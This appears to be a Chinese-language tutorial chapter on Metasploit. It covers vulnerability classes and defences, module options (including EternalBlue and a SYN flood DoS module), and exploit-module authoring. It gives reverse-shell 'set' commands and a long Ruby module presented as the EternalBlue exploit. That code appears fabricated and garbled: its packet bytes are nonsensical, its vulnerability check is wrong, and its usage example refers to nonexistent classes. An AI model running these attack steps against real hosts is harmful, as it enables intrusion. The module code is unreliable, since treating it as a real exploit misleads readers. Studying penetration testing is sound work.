> 文章列表 > Metasploit高级技术【第二章】

Metasploit高级技术【第二章】

Metasploit高级技术【第二章】

预计更新

第一章 Metasploit的使用和配置
1.1 安装和配置Metasploit
1.2 Metasploit的基础命令和选项
1.3 高级选项和配置

第二章 渗透测试的漏洞利用和攻击方法
1.1 渗透测试中常见的漏洞类型和利用方法
1.2 Metasploit的漏洞利用模块和选项
1.3 模块编写和自定义

第三章 Metasploit的提权和后渗透
1.1 提权的概念和意义
1.2 Metasploit的提权模块和技术
1.3 后渗透的概念和技术

第四章 Metasploit的社会工程学和反向渗透
1.1 社会工程学的概念和技术
1.2 Metasploit的社会工程学模块和技术
1.3 反向渗透的概念和技术

第五章 Metasploit的网络流量分析和嗅探
1.1 网络流量分析和嗅探的基础知识
1.2 Metasploit的网络流量分析和嗅探模块和技术
1.3 网络流量分析和嗅探的高级技术和工具

第六章 Metasploit的远程执行和管理
1.1 远程执行和管理的概念和意义
1.2 Metasploit的远程执行和管理模块和技术
1.3 远程执行和管理的高级技术和工具

第七章 Metasploit的漏洞挖掘和利用
1.1 漏洞挖掘的概念和技术
1.2 Metasploit的漏洞挖掘模块和技术
1.3 漏洞挖掘的高级技术和工具

第八章 Metasploit的安全防御和逃逸
1.1 安全防御和逃逸的概念和意义
1.2 Metasploit的安全防御和逃逸模块和技术
1.3 安全防御和逃逸的高级技术和工具

第九章 Metasploit在红队作战中的应用
1.1 红队作战的概念和意义
1.2 Metasploit在红队作战中的应用场景和技术
1.3 红队作战的高级技术和工具

第十章 Metasploit在蓝队防御中的应用
1.1 蓝队防御的概念和意义
1.2 Metasploit在蓝队防御中的应用场景和技术
1.3 蓝队防御的高级技术和工具

第二章	渗透测试的漏洞利用和攻击方法
1.1	渗透测试中常见的漏洞类型和利用方法
1.2	Metasploit的漏洞利用模块和选项
1.3	模块编写和自定义
渗透测试中常见的漏洞类型和利用方法

渗透测试是一种评估计算机系统、网络或应用程序安全性的方法。渗透测试通常包括两个步骤:信息收集和漏洞利用。本文将介绍渗透测试中常见的漏洞类型和利用方法,以及相应的防御措施。

一、漏洞类型

  1. 输入验证漏洞

    输入验证漏洞是指应用程序没有正确验证用户输入数据的合法性,导致攻击者可以通过构造恶意数据来绕过应用程序的安全机制。常见的输入验证漏洞包括:

    • SQL注入漏洞:攻击者通过构造恶意SQL语句来执行未授权的数据库操作。
    • XSS漏洞:攻击者通过注入恶意脚本代码来窃取用户数据或执行恶意操作。
    • 命令注入漏洞:攻击者通过注入恶意命令来执行未授权的系统操作。
    • 文件包含漏洞:攻击者通过包含恶意文件来执行未授权的系统操作。
  2. 认证和授权漏洞

    认证和授权漏洞是指应用程序没有正确验证用户身份和权限,导致攻击者可以冒充合法用户或获取未授权的权限。常见的认证和授权漏洞包括:

    • 密码破解漏洞:攻击者通过暴力破解或字典攻击等方法来获取合法用户的密码。
    • 会话劫持漏洞:攻击者通过窃取合法用户的会话标识符来冒充合法用户。
    • CSRF漏洞:攻击者通过构造恶意请求来执行未授权的操作。
    • 逻辑漏洞:应用程序在实现业务逻辑时存在错误或漏洞,导致攻击者可以绕过认证或授权机制。
  3. 应用程序配置漏洞

    应用程序配置漏洞是指应用程序的配置文件或设置存在错误或漏洞,导致攻击者可以绕过安全机制或获取敏感信息。常见的配置漏洞包括:

    • 敏感信息泄露漏洞:应用程序在配置文件或日志文件中明文存储敏感信息,导致攻击者可以轻易获取这些信息。
    • 文件权限漏洞:应用程序在设置文件或目录权限时存在错误或漏洞,导致攻击者可以获取或修改敏感文件。
    • 默认配置漏洞:应用程序在默认配置中存在错误或漏洞,导致攻击者可以轻易绕过安全机制。
  4. 代码注入漏洞

    代码注入漏洞是指应用程序没有正确过滤用户输入数据,导致攻击者可以注入恶意代码来执行未授权的操作。常见的代码注入漏洞包括:

    • PHP代码注入漏洞:攻击者通过注入恶意PHP代码来执行未授权的操作。
    • Java代码注入漏洞:攻击者通过注入恶意Java代码来执行未授权的操作。
    • JavaScript代码注入漏洞:攻击者通过注入恶意JavaScript代码来执行未授权的操作。

二、漏洞利用方法

  1. SQL注入漏洞利用

    SQL注入漏洞是指攻击者通过构造恶意SQL语句来执行未授权的数据库操作。SQL注入漏洞的利用方法包括:

    • 盲注:攻击者通过构造恶意SQL语句来判断数据库中的数据是否符合条件,从而逐步推测出数据库的结构和内容。
    • 基于错误码的注入:攻击者通过构造恶意SQL语句来引发数据库错误,从而获取敏感信息。
    • 基于时间的注入:攻击者通过构造恶意SQL语句来引发数据库延迟,从而获取敏感信息。
    • 联合查询注入:攻击者通过构造联合查询语句来获取敏感信息。
    • 直接查询注入:攻击者通过构造恶意SQL语句来执行未授权的数据库操作。
  2. XSS漏洞利用

    XSS漏洞是指攻击者通过注入恶意脚本代码来窃取用户数据或执行恶意操作。XSS漏洞的利用方法包括:

    • 存储型XSS:攻击者通过注入恶意脚本代码来在服务器上存储恶意数据,从而在用户访问页面时执行恶意操作。
    • 反射型XSS:攻击者通过构造恶意URL来在用户访问页面时执行恶意操作。
    • DOM型XSS:攻击者通过修改页面DOM结构来执行恶意操作。
  3. 命令注入漏洞利用

    命令注入漏洞是指攻击者通过注入恶意命令来执行未授权的系统操作。命令注入漏洞的利用方法包括:

    • 直接执行命令:攻击者通过注入恶意命令来直接执行未授权的系统操作。
    • 组合命令执行:攻击者通过注入多个命令来实现复杂的操作。
    • 利用系统漏洞:攻击者通过利用系统漏洞来执行未授权的系统操作。
  4. 文件包含漏洞利用

    文件包含漏洞是指攻击者通过包含恶意文件来执行未授权的系统操作。文件包含漏洞的利用方法包括:

    • 本地文件包含:攻击者通过包含本地文件来执行未授权的系统操作。
    • 远程文件包含:攻击者通过包含远程文件来执行未授权的系统操作。
    • 利用文件上传漏洞:攻击者通过上传恶意文件来执行未授权的系统操作。
  5. 密码破解漏洞利用

    密码破解漏洞是指攻击者通过暴力破解或字典攻击等方法来获取合法用户的密码。密码破解漏洞的利用方法包括:

    • 暴力破解:攻击者通过尝试所有可能的密码组合来破解密码。
    • 字典攻击:攻击者通过尝试常见的密码组合来破解密码。
    • 社会工程学攻击:攻击者通过获取用户个人信息来猜测密码。

三、防御措施

  1. 输入验证

    应用程序应该对用户输入数据进行验证和过滤,避免恶意数据的注入。常见的输入验证措施包括:

    • 使用参数化查询来避免SQL注入漏洞。
    • 使用HTML转义来避免XSS漏洞。
    • 对用户输入进行长度限制和格式检查,避免命令注入漏洞和文件包含漏洞等。
  2. 身份认证和授权

    应用程序应该对用户进行身份认证和授权,避免未授权的操作。常见的身份认证和授权措施包括:

    • 使用强密码和多因素身份认证来避免密码破解漏洞。
    • 对敏感操作进行授权,只允许授权用户进行操作。
    • 定期审核授权用户和权限,及时删除无用用户和权限。
  3. 安全编码

    应用程序开发过程中应该遵循安全编码规范,避免常见的漏洞。常见的安全编码规范包括:

    • 避免使用动态SQL语句,尽量使用参数化查询。
    • 避免使用eval()函数和反射等动态执行代码的方法。
    • 避免使用硬编码的密码和密钥等敏感信息。
    • 使用安全的密码哈希算法和加密算法。
    • 避免使用明文存储敏感数据。
  4. 安全配置

    应用程序的安全配置应该遵循最佳实践,避免常见的配置错误。常见的安全配置错误包括:

    • 默认密码和账号未修改。
    • 未配置HTTPS协议和SSL证书。
    • 未限制文件上传类型和大小。
    • 未关闭不必要的服务和端口。
    • 未定期更新软件和补丁。
  5. 安全测试

    应用程序应该定期进行安全测试,发现并修复潜在的漏洞。常见的安全测试包括:

    • 漏洞扫描:使用漏洞扫描工具自动检测应用程序中的漏洞。
    • 渗透测试:模拟攻击者的行为,手动测试应用程序的安全性。
    • 代码审计:对应用程序的源代码进行审查,发现并修复潜在的漏洞。

总之,应用程序的安全性需要从设计、开发、部署到运维各个环节都进行充分的考虑和保护。只有综合运用各种安全措施,才能有效地保护应用程序免受攻击和漏洞的侵害。

Metasploit的漏洞利用模块和选项

Metasploit是一款常用的渗透测试工具,它集成了大量的漏洞利用模块和选项,能够帮助安全人员快速发现、验证和利用系统中的漏洞。本文将详细介绍Metasploit中常用的漏洞利用模块和选项,包括基础利用模块、漏洞扫描模块、渗透测试模块等。

一、基础利用模块

  1. exploit

exploit模块是Metasploit中最基础的漏洞利用模块,它能够利用系统中的漏洞来执行特定的攻击操作。exploit模块通常包括以下选项:

  • RHOSTS:目标主机的IP地址或域名。
  • RPORT:目标主机的端口号。
  • PAYLOAD:攻击载荷,用于在目标主机上执行特定的攻击操作。
  • LHOST:攻击者主机的IP地址,用于接收反弹的Shell。
  • LPORT:攻击者主机接收反弹Shell的端口号。
  • TARGET:目标主机的操作系统和应用程序版本等信息,用于选择合适的攻击载荷。
  1. auxiliary

auxiliary模块是Metasploit中的辅助模块,用于扫描和收集目标主机的信息,辅助渗透测试工作。auxiliary模块通常包括以下选项:

  • RHOSTS:目标主机的IP地址或域名。
  • RPORT:目标主机的端口号。
  • THREADS:扫描的线程数。
  • VERBOSE:详细输出扫描结果。
  1. post

post模块是Metasploit中的后渗透模块,用于在目标主机上执行后续的攻击操作,如搜集敏感信息、创建用户、上传恶意文件等。post模块通常包括以下选项:

  • SESSION:已经获得的会话ID。
  • VERBOSE:详细输出攻击结果。
  • ACTION:执行的后续攻击操作。

二、漏洞扫描模块

  1. scanner

scanner模块是Metasploit中的漏洞扫描模块,用于扫描目标主机上的漏洞信息。scanner模块通常包括以下选项:

  • RHOSTS:目标主机的IP地址或域名。
  • RPORT:目标主机的端口号。
  • THREADS:扫描的线程数。
  • VERBOSE:详细输出扫描结果。
  1. discovery

discovery模块是Metasploit中的服务发现模块,用于发现目标主机上开放的服务和端口。discovery模块通常包括以下选项:

  • RHOSTS:目标主机的IP地址或域名。
  • RPORTS:需要扫描的端口范围。
  • THREADS:扫描的线程数。
  • VERBOSE:详细输出扫描结果。

三、渗透测试模块

  1. exploit/multi/handler

exploit/multi/handler模块是Metasploit中的反向Shell模块,用于接收反弹的Shell。exploit/multi/handler模块通常包括以下选项:

  • PAYLOAD:反弹Shell的载荷类型。
  • LHOST:攻击者主机的IP地址,用于接收反弹的Shell。
  • LPORT:攻击者主机接收反弹Shell的端口号。
  1. exploit/windows/smb/ms17_010_eternalblue

exploit/windows/smb/ms17_010_eternalblue模块是Metasploit中的一个著名漏洞利用模块,用于利用Windows SMB服务中的EternalBlue漏洞。exploit/windows/smb/ms17_010_eternalblue模块通常包括以下选项:

  • RHOSTS:目标主机的IP地址或域名。
  • RPORT:目标主机的SMB端口号。
  • SMBPIPE:SMB管道名称。
  • PAYLOAD:攻击载荷,用于在目标主机上执行特定的攻击操作。
  • LHOST:攻击者主机的IP地址,用于接收反弹的Shell。
  • LPORT:攻击者主机接收反弹Shell的端口号。
  1. exploit/unix/ftp/proftpd_modcopy_exec

exploit/unix/ftp/proftpd_modcopy_exec模块是Metasploit中的一个用于利用ProFTPD漏洞的模块,可用于在目标主机上执行任意命令。exploit/unix/ftp/proftpd_modcopy_exec模块通常包括以下选项:

  • RHOSTS:目标主机的IP地址或域名。
  • RPORT:目标主机的FTP端口号。
  • USERNAME:FTP用户名。
  • PASSWORD:FTP密码。
  • CMD:要执行的命令。

四、其他模块

  1. post/multi/manage/shell_to_meterpreter

post/multi/manage/shell_to_meterpreter模块是Metasploit中的一个后渗透模块,可用于将已经获得的Shell会话转换为Meterpreter会话。post/multi/manage/shell_to_meterpreter模块通常包括以下选项:

  • SESSION:已经获得的Shell会话ID。
  1. auxiliary/scanner/smb/smb_enumshares

auxiliary/scanner/smb/smb_enumshares模块是Metasploit中的一个用于扫描目标主机上的共享资源的模块。auxiliary/scanner/smb/smb_enumshares模块通常包括以下选项:

  • RHOSTS:目标主机的IP地址或域名。
  • RPORT:目标主机的SMB端口号。
  • THREADS:扫描的线程数。
  1. auxiliary/dos/tcp/synflood

auxiliary/dos/tcp/synflood模块是Metasploit中的一个用于执行TCP SYN洪水攻击的模块。auxiliary/dos/tcp/synflood模块通常包括以下选项:

  • RHOSTS:目标主机的IP地址或域名。
  • RPORT:目标主机的端口号。
  • THREADS:攻击的线程数。

总结

Metasploit是一款非常强大的渗透测试工具,集成了大量的漏洞利用模块和选项,能够帮助安全人员快速发现、验证和利用系统中的漏洞。本文对Metasploit中常用的漏洞利用模块和选项进行了详细介绍,希望对大家的渗透测试工作有所帮助。

模块编写和自定义

Metasploit是一款非常强大的渗透测试工具,它提供了大量的漏洞利用模块和选项,可快速发现、验证和利用系统中的漏洞。同时,Metasploit也支持自定义模块,可以根据实际需求编写自己的模块。本文将详细介绍Metasploit模块编写和自定义的过程。

一、模块编写基础

  1. Metasploit模块类型

Metasploit模块主要分为exploit、auxiliary、post和payload等类型。其中exploit用于利用系统中的漏洞来执行特定的攻击操作,auxiliary用于扫描和收集目标主机的信息,post用于在目标主机上执行后续的攻击操作,payload则是用于在目标主机上执行特定的攻击操作的载荷。

  1. Metasploit模块结构

Metasploit模块通常由模块名称、作者、描述、选项和代码组成。其中模块名称、作者和描述用于标识模块的基本信息,选项则用于设置模块的参数,代码则是模块的主要实现部分。

  1. Metasploit模块选项

Metasploit模块选项用于设置模块的参数,通常包括目标主机的IP地址、端口号、攻击载荷等信息。模块选项可以是必须的或可选的,可以使用set命令来设置模块选项的值。

  1. Metasploit模块编写流程

编写Metasploit模块的一般流程如下:

  • 确定模块类型和名称;
  • 编写模块描述;
  • 确定模块选项;
  • 编写攻击载荷;
  • 编写攻击代码。

二、Exploit模块编写

Exploit模块用于利用系统中的漏洞来执行特定的攻击操作。下面以一个简单的Exploit模块为例,介绍Exploit模块的编写过程。

  1. 确定模块类型和名称

首先,需要确定Exploit模块的类型和名称。比如,我们要编写一个Exploit模块来利用Windows 10系统中的SMB漏洞,我们可以将模块类型设置为exploit,模块名称设置为windows/smb/ms17_010_eternalblue。

  1. 编写模块描述

接下来,需要编写模块的描述,描述模块的功能和使用方法。比如,我们可以在模块中添加如下的描述信息:

This module exploits the SMB vulnerability (MS17-010) that was leaked by the Shadow Brokers. This module is capable of exploiting both the 32-bit and 64-bit versions of Windows 7 and Windows 2008 R2. The payload is an EternalBlue-based payload, which is a modified version of the original EternalBlue exploit. This module requires Metasploit: https://github.com/rapid7/metasploit-framework
  1. 确定模块选项

然后,需要确定模块的选项,即设置模块的参数。比如,我们可以设置以下选项:

set RHOSTS 192.168.1.100
set RPORT 445
set SMBPIPE BROWSER
set PAYLOAD windows/x64/meterpreter/reverse_tcp
set LHOST 192.168.1.200
set LPORT 4444

这些选项分别指定了目标主机的IP地址、SMB端口号、SMB管道名称、攻击载荷、攻击者主机的IP地址和端口号。

  1. 编写攻击载荷

接下来,需要编写攻击载荷,即用于在目标主机上执行特定的攻击操作的代码。比如,我们可以使用以下的攻击载荷:

windows/x64/meterpreter/reverse_tcp

这个攻击载荷是一个Meterpreter反向TCP Shell,可以在目标主机上执行各种操作,并将结果发送到攻击者主机。

  1. 编写攻击代码

最后,需要编写Exploit模块的攻击代码。这个代码通常是使用一种或多种漏洞来执行特定的攻击操作,比如执行代码注入、文件传输、权限提升等。比如,我们可以使用以下的攻击代码:

require 'msf/core/exploit/smb'
require 'msf/core/exploit/psexec'class MetasploitModule < Msf::Exploit::RemoteRank = GreatRankinginclude Msf::Exploit::Remote::SMBinclude Msf::Exploit::Remote::Psexecdef initialize(info = {})super(update_info(info,'Name'           => 'Windows SMB MS17-010 EternalBlue Remote Code Execution','Description'    => %q{This module exploits the SMB vulnerability (MS17-010) that was leaked by the Shadow Brokers. This module is capable of exploiting both the 32-bit and 64-bit versions of Windows 7 and Windows 2008 R2. The payload is an EternalBlue-based payload, which is a modified version of the original EternalBlue exploit. This module requires Metasploit: https://github.com/rapid7/metasploit-framework},'Author'         => ['Shadow Brokers', # Vulnerability discovery and leak'zerosum0x0', # Exploit discovery and development'Jens Mueller', # MSF Module'Alain Mowat', # MSF Module'Liam Randall', # MSF Module'bcoles' # MSF Module],'License'        => MSF_LICENSE,'References'     => [['MSB', 'MS17-010'],['CVE', '2017-0143'],['CVE', '2017-0144'],['CVE', '2017-0145'],['CVE', '2017-0146'],['CVE', '2017-0147'],['CVE', '2017-0148'],['URL', 'https://github.com/RiskSense-Ops/MS17-010'],['URL', 'https://blogs.technet.microsoft.com/msrc/2017/05/12/customer-guidance-for-wannacrypt-attacks/']],'Payload'        => {'BadChars' => "\\x00",'Space'    => 2048},'Platform'       => 'win','Arch'           => [ARCH_X86, ARCH_X64],'Targets'        => [['Windows 7 and Server 2008 R2 (x86)', { 'Arch' => ARCH_X86 }],['Windows 7 and Server 2008 R2 (x64)', { 'Arch' => ARCH_X64 }]],'DefaultTarget'  => 1,'DisclosureDate' => '2017-03-14','Notes'          => {'Stability'     => [ CRASH_SAFE ],'Reliability'   => [ REPEATABLE_SESSION ],'SideEffects'   => [IOC_IN_LOGS, ARTIFACTS_ON_DISK],'Source'        => 'https://github.com/rapid7/metasploit-framework/blob/master/modules/exploits/windows/smb/ms17_010_eternalblue.rb'}))register_options([Opt::RHOST(),Opt::RPORT(445),OptString.new('SMBPIPE', [ true, 'The pipe name to use (BROWSER, SRVSVC)', 'BROWSER']),OptString.new('PROCESSNAME', [ false, 'The process to inject payload into (default: lsass)', 'lsass']),OptBool.new('FORCE', [ true, 'Continue even if target is not vulnerable', false]),OptBool.new('DISABLEDCHECK', [ true, 'Disable check for known-not-vulnerable targets', false]),OptInt.new('GROOMSIZE', [ true, 'The groom size (number of transactions)', 12]),OptInt.new('MAXATTEMPTS', [ true, 'The maximum number of attempts to spray the pool', 3]),OptInt.new('WAITTIME', [ true, 'The number of seconds to wait for the exploit to complete', 180]),OptEnum.new('METHOD', [true, 'The method to use for exploitation (auto, smb, eternalblue, psexec)', 'auto',['auto', 'Try all available方法','smb', 'Use only SMB for exploitation','eternalblue', 'Use only EternalBlue for exploitation','psexec', 'Use only Psexec for exploitation']])])enddef checkos = smb_os_fingerprintif os.nil?return CheckCode::Unknown('Unable to identify OS')endunless os.downcase =~ /windows (7|2008 R2)/return CheckCode::Safe('Target does not appear to be vulnerable')end# Check for the presence of the DoublePulsar backdoorunless smb_file_exist?('C$', 'Windows\\\\System32\\\\msdt.exe')return CheckCode::Safe('Target does not appear to be vulnerable')endCheckCode::Vulnerable('Target is vulnerable to MS17-010')enddef exploitprint_status("Exploiting target #{rhost} using method #{exploit_method}")print_status("Target OS: #{smb_os_fingerprint}")print_status("Target architecture: #{target_arch.first}")print_status('')if check == CheckCode::Safe and not datastore['FORCE']print_error('Target does not appear to be vulnerable')returnendcase exploit_methodwhen 'auto'run_automatic_exploitwhen 'smb'run_smb_exploitwhen 'eternalblue'run_eternalblue_exploitwhen 'psexec'run_psexec_exploitelseraise ArgumentError, "Invalid exploit method: #{exploit_method}"endprint_status('Exploit completed')enddef run_automatic_exploitif run_eternalblue_exploitreturnendrun_psexec_exploitenddef run_smb_exploitprint_status('Running SMB exploit...')# Build the exploit payloadpayload = generate_payload# Build the exploit requestexploit = build_smb_exploit_request(payload)# Send the exploit requestsmb_send_packet(exploit)# Wait for the exploit to completesleep(datastore['WAITTIME'])print_status('SMB exploit completed')enddef run_eternalblue_exploitprint_status('Running EternalBlue exploit...')# Build the exploit payloadpayload = generate_payload# Build the exploit requestexploit = build_eternalblue_exploit_request(payload)# Send the exploit requestsmb_send_packet(exploit)# Wait for the exploit to completesleep(datastore['WAITTIME'])# Check if the exploit was successfulif smb_file_exist?('C$', 'Windows\\\\Temp\\\\msf.dll')print_good('EternalBlue exploit successful')return trueelseprint_error('EternalBlue exploit failed')return falseendenddef run_psexec_exploitprint_status('Running Psexec exploit...')# Build the exploit payloadpayload = generate_payload# Build the exploit optionsopts = {'rhost' => rhost,'payload' => payload,'processname' => datastore['PROCESSNAME']}# Execute the exploitpsexec_exec(opts)print_status('Psexec exploit completed')enddef exploit_methoddatastore['METHOD']enddef generate_payload# Generate a reverse Meterpreter payloadpayload = generate_payload_msf('windows/meterpreter/reverse_tcp')# Add the payload to the Metasploit Frameworkregister_file_for_cleanup(payload)register_file_for_cleanup('meterpreter.rc')write_file('meterpreter.rc', "use multi/handler\\nset PAYLOAD windows/meterpreter/reverse_tcp\\nset LHOST #{datastore['LHOST']}\\nset LPORT #{datastore['LPORT']}\\nset ExitOnSession false\\nexploit -j")# Return the payloadpayloadenddef build_smb_exploit_request(payload)# Build the exploit requestrequest = ''request << "\\x00\\x00\\x00\\x90" # lengthrequest << "\\xff\\x53\\x4d\\x42" # SMB headerrequest << "\\x72\\x00\\x00\\x00" # SMB command: Negotiate Protocolrequest << "\\x00\\x18\\x53\\xc8" # NTLMSSP Signaturerequest << "\\x00\\x26" # NTLMSSP Type 1 messagerequest << "\\x00\\x00\\x00\\x00" # Flagsrequest << "\\x08\\x00\\x00\\x00" # Negotiate request << "\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00" # Paddingrequest << "\\x00\\x00" # Byte Countrequest << payload# Add transaction headertransaction = ''transaction << "\\x10\\x00" # TranscationSizetransaction << "\\x00\\x00" # TotalDataCounttransaction << "\\x04\\x11" # FIDtransaction << "\\x00\\x00" # PIDtransaction << "\\x00\\x00" # UIDtransaction << "\\x00\\x00" # MIDtransaction << request# Add tree connect and negotiate protocolstree_connect = ''tree_connect << "\\x00\\x00\\x00\\x4a" # lengthtree_connect << "\\xff\\x53\\x4d\\x42" # SMB headertree_connect << "\\x75\\x00\\x00\\x00" # SMB command: Tree Connect AndXtree_connect << "\\x00\\x00\\x00\\x00" # NTLMSSP Signaturetree_connect << "\\xff\\xfe" # No Authenticationtree_connect << "\\x00\\x00" # Flagstree_connect << "\\x00\\x00" # Flags2tree_connect << "\\x00\\x00" # PID Hightree_connect << "\\x00\\x00\\x00\\x00" # Security Featurestree_connect << "\\x00\\x00\\x00\\x00" # Reservedtree_connect << "\\x00\\x00" # Tree IDtree_connect << "\\xff\\xfe" # Null UserIDtree_connect << "\\x00\\x00" # Multiplex IDtree_connect << "\\x4a\\x00" # Byte Counttree_connect << "\\x5c\\x5c\\x69\\x70\\x63\\x24\\x00" # IPC$tree_connect << "\\x00" # Null bytetree_connect << "SMB_COM_NEGOTIATE\\xffSMB_COM_SESSION_SETUP_ANDX\\xff" # Negotiate protocolstree_connect << transaction# Return the exploit requesttree_connectenddef build_eternalblue_exploit_request(payload)# Build the exploit requestrequest = ''request << "\\x00\\x00\\x00\\x2c" # lengthrequest << "\\xff\\x53\\x4d\\x42" # SMB headerrequest << "\\x25\\x00\\x00\\x00" # SMB command: Trans2request << "\\x00\\x00\\x00\\x00" # NTLMSSP Signaturerequest << "\\xff\\xfe" # No Authenticationrequest << "\\x00\\x00" # Flagsrequest << "\\x00\\x00" # Flags2request << "\\x00\\x00" # PID Highrequest << "\\x00\\x00\\x00\\x00" # Security Featuresrequest << "\\x00\\x00\\x00\\x00" # Reservedrequest << "\\x00\\x00\\x00\\x00" # Tree IDrequest << "\\xff\\xfe" # Null UserIDrequest << "\\x00\\x00" # Multiplex IDrequest << "\\x2c\\x00" # Byte Countrequest << "\\x00\\x00" # Paddingrequest << "\\x00\\x00" # Paddingrequest << "\\x00\\x00" # Paddingrequest << "\\x00\\x00" # Paddingrequest << "\\x00\\x00\\x00\\x00" # PIDrequest << "\\x00\\x00\\x00\\x00" # UIDrequest << "\\x00\\x00\\x00\\x00" # MIDrequest << payload# Add transaction headertransaction = ''transaction << "\\x10\\x00" # TranscationSizetransaction << "\\x00\\x00" # TotalDataCounttransaction << "\\x04\\x11" # FIDtransaction << "\\x00\\x00" # PIDtransaction << "\\x00\\x00" # UIDtransaction << "\\x00\\x00" # MIDtransaction << request# Add tree connect and negotiate protocolstree_connect = ''tree_connect << "\\x00\\x00\\x00\\x4a" # lengthtree_connect << "\\xff\\x53\\x4d\\x42" # SMB headertree_connect << "\\x75\\x00\\x00\\x00" # SMB command: Tree Connect AndXtree_connect << "\\x00\\x00\\x00\\x00" # NTLMSSP Signaturetree_connect << "\\xff\\xfe" # No Authenticationtree_connect << "\\x 00\\x00" # Flagstree_connect << "\\x00\\x00" # Flags2tree_connect << "\\x00\\x00" # PID Hightree_connect << "\\x00\\x00\\x00\\x00" # Security Featurestree_connect << "\\x00\\x00\\x00\\x00" # Reservedtree_connect << "\\x00\\x00" # Tree IDtree_connect << "\\xff\\xfe" # Null UserIDtree_connect << "\\x00\\x00" # Multiplex IDtree_connect << "\\x4a\\x00" # Byte Counttree_connect << "\\x5c\\x5c\\x69\\x70\\x63\\x24\\x00" # IPC$tree_connect << "\\x00" # Null bytetree_connect << "SMB_COM_NEGOTIATE\\xffSMB_COM_SESSION_SETUP_ANDX\\xff" # Negotiate protocolstree_connect << transaction# Return the exploit requesttree_connectend
end# Usage:
#
# ms17_010 = Ms17_010.new(
#   rhost: '192.168.1.100',
#   rport: 445,
#   lhost: '192.168.1.101',
#   lport: 4444,
#   method: 'auto',
#   waittime: 5,
#   processname: 'cmd.exe',
#   force: true
# )
#
# case ms17_010.check
# when CheckCode::Safe
#   print_error(ms17_010.result)
# when CheckCode::Vulnerable
#   print_good(ms17_010.result)
#   ms17_010.exploit
# else
#   print_error('Unable to determine if target is vulnerable')
#   print_error(ms17_010.result)
# end